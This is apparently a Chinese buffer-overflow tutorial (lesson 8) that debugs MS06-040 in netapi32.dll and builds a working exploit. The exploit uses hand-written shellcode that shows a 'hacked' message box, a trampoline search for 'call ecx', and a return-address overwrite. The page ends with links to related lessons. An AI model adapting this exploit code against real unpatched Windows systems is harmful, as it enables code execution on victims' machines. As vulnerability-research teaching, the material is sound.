前言

经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。

编写漏洞利用程序的框架

这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下:

  1. #include <windows.h>
  2. typedef void (*MYPROC)(LPTSTR, ...);
  3. int main()
  4. {
  5. char Str[0x320];
  6. char lpWideCharStr[0x440];
  7. int  arg_8 = 0x440;
  8. char Source[0x100];
  9. long arg_10 = 44;
  10. HINSTANCE LibHandle;
  11. MYPROC Func;
  12. char DllName[] = "./netapi32.dll";
  13. LibHandle = LoadLibrary(DllName);
  14. if( LibHandle == NULL)
  15. {
  16. MessageBox(0, "Can't Load DLL!", "Warning", 0);
  17. FreeLibrary(LibHandle);
  18. }
  19. Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
  20. if ( Func == NULL )
  21. {
  22. MessageBox(0, "Can't Load Function Address!", "Warning", 0);
  23. FreeLibrary(LibHandle);
  24. }
  25. memset(Str, 0, sizeof(Str));
  26. memset(Str, 'a', sizeof(Str)-2);
  27. memset(Source, 0, sizeof(Source));
  28. memset(Source, 'b', sizeof(Source)-2);
  29. (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
  30. FreeLibrary(LibHandle);
  31. return 0;
  32. }

程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址,再获取位于该DLL中的NetpwPathCanonicalize()函数的地址,并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充,最后再对其进行调用。将程序编译执行,系统会提示出错:


图1

由错误代码可知,程序出现了缓冲区溢出的错误,返回地址被覆盖成了0x61616161,也就是四个“a”。

动态调试漏洞

我们使用OD载入上述程序,同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数:

图2

可见此时netapi32.dll已经成功加载,并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址:

图3

可见该函数的地址为0x7517F2E2,那么我们在OD中直接跳到这个位置,下断点并执行过来:

图4

结合上次的分析我们知道,出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68:

图5

那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况:

图6

由上图可知,返回地址为0x0012F670的位置,也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数:

图7

可以看到,程序在位于0x0012F258位置处开始,一共拷贝了254也就是0xFE个字母“b”,这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“\”,接着来到了第二个字符串拷贝的位置:

图8

这里将长串字符“a”连接在了“\”的后面,“a”的起始地址为0x0012F358,一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置,由于返回地址是一个不可识别的空间,所以就会提示出错:

图9

此时可以发现,ecx中保存的正是缓冲区起始位置的地址,那么我们就可以利用这一特性,将ShellCode植入Source串中,并将返回地址覆盖为call ecx,这样当程序返回的时候,就会直接来到0x0012F258的位置进行执行。

获取CALL ECX地址

我们还需要查找一下call ecx这条指令。它的OPCODE为FFD1,我们直接在Netapi32.dll这个程序中进行查找,只需将我们之前讲过的用于查找call esp的程序稍作改动即可:

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #define DLL_NAME "./netapi32.dll"
  5. int main()
  6. {
  7. BYTE *ptr;
  8. int position,address;
  9. HINSTANCE handle;
  10. BOOL done_flag = FALSE;
  11. handle = LoadLibrary(DLL_NAME);
  12. if(!handle)
  13. {
  14. printf("load dll error!");
  15. exit(0);
  16. }
  17. ptr = (BYTE*)handle;
  18. for(position = 0; !done_flag; position++)
  19. {
  20. try
  21. {
  22. if(ptr[position]==0xFF && ptr[position+1]==0xD1)
  23. {
  24. int address = (int)ptr + position;
  25. printf("OPCODE found at 0x%x\n", address);
  26. }
  27. }
  28. catch(...)
  29. {
  30. int address = (int)ptr + position;
  31. printf("END OF 0x%x\n", address);
  32. done_flag = true;
  33. }
  34. }
  35. getchar();
  36. return 0;
  37. }

结果如下:


图10

依据上图,这里我选择的是第一个结果,也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是,这里的返回地址为0x0012F670,缓冲区的开始位置是0x0012F258,它们之间的偏移为0x418,去掉参数Source以及“\”所占据的0x100,得到0x418-0x100=0x318,也就是说,从Str字符串的偏移0x318位置开始,就是需要我们覆盖掉的返回地址的位置。

完成漏洞利用程序

于是可以将之前的框架程序修改为:

  1. #include <windows.h>
  2. typedef void (*MYPROC)(LPTSTR, ...);
  3. char ShellCode[] =
  4. "\x33\xDB"                          // xor ebx,ebx
  5. "\xB7\x06"                          // mov bh,6
  6. "\x2B\xE3"                          // sub esp,ebx
  7. "\x33\xDB"                          // xor ebx,ebx
  8. "\x53"                              // push ebx
  9. "\x68\x69\x6E\x67\x20"
  10. "\x68\x57\x61\x72\x6E"              // push "Warning"
  11. "\x8B\xC4"                          // mov eax,esp
  12. "\x53"                              // push ebx
  13. "\x68\x2E\x29\x20\x20"
  14. "\x68\x20\x4A\x2E\x59"
  15. "\x68\x21\x28\x62\x79"
  16. "\x68\x63\x6B\x65\x64"
  17. "\x68\x6E\x20\x68\x61"
  18. "\x68\x20\x62\x65\x65"
  19. "\x68\x68\x61\x76\x65"
  20. "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"
  21. "\x8B\xCC"                           // mov ecx,esp
  22. "\x53"                               // push ebx
  23. "\x50"                               // push eax
  24. "\x51"                               // push ecx
  25. "\x53"                               // push ebx
  26. "\xB8\xea\x07\xd5\x77"
  27. "\xFF\xD0"                           // call MessageBox
  28. "\x53"
  29. "\xB8\xFA\xCA\x81\x7C"
  30. "\xFF\xD0" ;                          // call ExitProcess
  31. int main()
  32. {
  33. char Str[0x320];
  34. char lpWideCharStr[0x440];
  35. int  arg_8 = 0x440;
  36. char Source[0x100];
  37. long arg_10 = 44;
  38. HINSTANCE LibHandle;
  39. MYPROC Func;
  40. char DllName[] = "./netapi32.dll";
  41. LoadLibrary("user32.dll");
  42. LibHandle = LoadLibrary(DllName);
  43. if( LibHandle == NULL)
  44. {
  45. MessageBox(0, "Can't Load DLL!", "Warning", 0);
  46. FreeLibrary(LibHandle);
  47. }
  48. Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
  49. if ( Func == NULL )
  50. {
  51. MessageBox(0, "Can't Load Function Address!", "Warning", 0);
  52. FreeLibrary(LibHandle);
  53. }
  54. memset(Str, 0, sizeof(Str));
  55. memset(Str, 'a', sizeof(Str)-2);
  56. memset(Source, 0, sizeof(Source));
  57. memset(Source, 'b', sizeof(Source)-2);
  58. memcpy(Source, ShellCode, sizeof(ShellCode));
  59. Str[0x318] = 0xF9;
  60. Str[0x319] = 0x52;
  61. Str[0x31A] = 0x18;
  62. Str[0x31B] = 0x75;
  63. (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
  64. FreeLibrary(LibHandle);
  65. return 0;
  66. }

运行结果如下:


图11

可见我们已经成功地利用了这个漏洞。

小结

由此可见,对于系统级别的漏洞,及时更新补丁是非常重要的。而作为漏洞分析人员,也要具备恒心与毅力,不断地积累经验,勇于接受挑战,多多尝试,才能有所收获。

缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试的更多相关文章

  1. 缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘

    前言 经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用.在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否 ...

  2. 缓冲区溢出分析第07课:MS06-040漏洞研究——静态分析

    前言 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情况就 ...

  3. 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析

    漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀&q ...

  4. 缓冲区溢出分析第10课:Winamp缓冲区溢出研究

    前言 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世.与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的. ...

  5. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

  6. 缓冲区溢出分析第04课:ShellCode的编写

    前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写S ...

  7. W32Dasm缓冲区溢出分析【转载】

    课程简介 在上次课程中与大家一起学习了编写通用的Shellcode,也提到会用一个实例来展示Shellcode的溢出. 那么本次课程中为大家准备了W32Dasm这款软件,并且是存在漏洞的版本.利用它的 ...

  8. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  9. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

随机推荐

  1. AI人脸匹对

    人脸匹对 技术 调用到百度的AI接口,layui的图片上传,栅格化布局 核心代码 纯py代码运行 # encoding:utf-8 from aip import AipFace import bas ...

  2. Netty源码 reactor 模型

    翻阅源码时,我们会发现netty中很多方法的调用都是通过线程池的方式进行异步的调用, 这种  eventLoop.execute 方式的调用,实际上便是reactor线程.对应项目中使用广泛的NioE ...

  3. 单链表及基本操作(C语言)

    #include <stdio.h> #include <stdlib.h> /** * 含头节点单链表定义及基本操作 */ //基本操作函数用到的状态码 #define TR ...

  4. 局部莫兰指数的计算(运用ArcMap)

    做任务时需要运用到局部莫兰指数,卡在用Python计算的思路上好久,最后发现可以用ArcGIS进行处理,步骤简单易懂. 主要步骤为: 1.读入数据(一定要为shp文件),对于用ecognition直接 ...

  5. P1962 斐波那契数列 【矩阵快速幂】

    一.题目 P1962 斐波那契数列 二.分析 比较基础的递推式转换为矩阵递推,这里因为$n$会超出$int$类型,所以需要用矩阵快速幂加快递推. 三.AC代码 1 #include <bits/ ...

  6. Sequelize 和 MySQL 对照Sequelize 和 MySQL 对照

    安装 这篇文章主要使用MySQL.Sequelize.co来进行介绍.安装非常简单: $ npm install --save co $ npm install --save sequelize $ ...

  7. HTML标签解读

    因为最近在学习爬虫,那么在爬取网页内容时,就要求我们能够简单的看懂这个网页的基本结构,才能更好的去爬取我们所需要的内容. 这篇随笔也只是简单的说明了一些标签的含义. 标签关系 包含关系 eg:< ...

  8. codefoces D. Phoenix and Science

    原题链接:https://codeforc.es/problemset/problem/1348/D 题意:给你一个体重为一克的细菌(它可以每天进行一次二分裂即一分为二体重均分:晚上体重增加1克)求最 ...

  9. 001-Java学习前基础

    目录 前言 一.Java语言特性(简单概述) 二.JDK.JRE.JVM三者关系 三.java文件的加载与执行 前言 初次在博客园写博客,想通过这种方式把自己学过的东西梳理一遍,加深自己的记忆,笔记中 ...

  10. PAT (Advanced Level) Practice 1006 Sign In and Sign Out (25 分) 凌宸1642

    PAT (Advanced Level) Practice 1006 Sign In and Sign Out (25 分) 凌宸1642 题目描述: At the beginning of ever ...